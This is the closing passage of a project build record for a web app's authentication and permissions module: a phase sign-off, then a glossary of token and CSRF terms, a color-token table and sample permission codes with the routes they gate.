12.4 Sign-off

VERIFIED · PHASE 4 — SEALED

8 of 8 steps complete.

21 backend .js files + 19 frontend .jsx/.js/.css/.html files on disk.

Zero TypeScript files anywhere in the project.

Endpoints LIVE: POST /api/v1/auth/login · /refresh · /logout · GET /api/v1/me · GET /healthz.

Browser-verified on 2026-05-17: login → dashboard → sidebar filtering → forbidden page → logout — all green.

Module template locked. Phase 5+ work proceeds by cloning, not redesigning.

Appendix · Glossary, Tokens, Permissions

A.1 Glossary

Term	Meaning in this project
Access token	Short-lived (15-min) JWT carried in Authorization: Bearer. Lives in JS memory only.
Refresh token	Long-lived (7-day) JWT in httpOnly cookie cmcmis_rt; stored as sha256 hex in DB.
CSRF token	Random hex in JS-readable cookie cmcmis_csrf; echoed as X-CSRF-Token header on /refresh.
AppError	Custom Error class carrying code, statusCode, details. Only blessed way to throw HTTP errors.
errors{}	Factory object exposing badRequest / unauthorized / forbidden / notFound / conflict / tooManyRequests / internal.
Standard error envelope	{ error: { code, message, details } } — every error response shape.
BR-RBAC-03	Locked rule: always check permission codes, never role names.
BR-AUTH-06	Locked rule: every auth attempt writes a login_audit row.
Theft detection	auth.service.refresh() sweep: valid signature + DB miss → revokeAllForUser.
Refresh coalescing	FE pattern: only the FIRST 401 starts the refresh; concurrent 401s await the same in-flight promise.
Double-submit token	CSRF pattern: token in cookie + matching header; server demands they match.
ProtectedRoute	FE wrapper that renders Spinner/Navigate/Forbidden/children based on auth + permission state.
Layout	FE shell: Sidebar + TopBar + scrollable main. Wraps every authenticated page.
ALL_NAV_ITEMS	Single source of truth for the sidebar — pairs route + permission code + lucide icon.

A.2 Color Token Reference

Token	Hex	Sample use
base	#F5F6FA	Page background, sidebar fill
base-elev	#EEF1F7	Cards, hover surfaces
ink	#2F3545	Body text, headings, icons
ink-soft	#4B5563	Captions, helper text, table headers
border	#E5E7EB	1px hairlines, input borders
accent	#4F5DFF	Primary CTAs, active nav, links, focus rings
accent-hover	#5B6CFF	Hover state for accent
success	#4CAF50	OK badges, active dots
warning	#F59E0B	Soft alerts, 'Coming soon' badge background
danger	#EF4444	Error banners, 403 page ShieldOff icon

badge	#8B5CF6	Role pill (SUPER_ADMIN / NORMAL_USER / …)

A.3 Sample Permission Codes Used in Phase 4

Not exhaustive (the full 40-code matrix lives in Phase 3's seed file 006). These are the codes referenced by the FE Sidebar and routing.

Permission code	Default role grant	FE route gated by it
auth:login	Every role	Not gated — implicit (login endpoint is public)
dashboard:view	Every role except VIEW_ONLY_USER	/dashboard
equipment:read-list	Every role	/equipment
job_request:read-own	Every role	/job-requests
job_card:read-list	Every role except VIEW_ONLY	/job-cards
inquiry:search-instruments	Every role	/inquiry
audit_log:read	SUPER_ADMIN + LAB_IN_CHARGE	/audit
user:read-list	SUPER_ADMIN only	/admin/users

A.4 Final Word

Phase 4 was the hardest mile because it set the template. Every subsequent module Phase 5–8 ships against this scaffold. Read this document before starting Phase 5 — the rationale behind every middleware ordering choice, every cookie attribute, every permission-check pattern is captured here so you do not have to rediscover it.

— Generated as the build record companion to TECHNICALbaseORDERSphase.pdf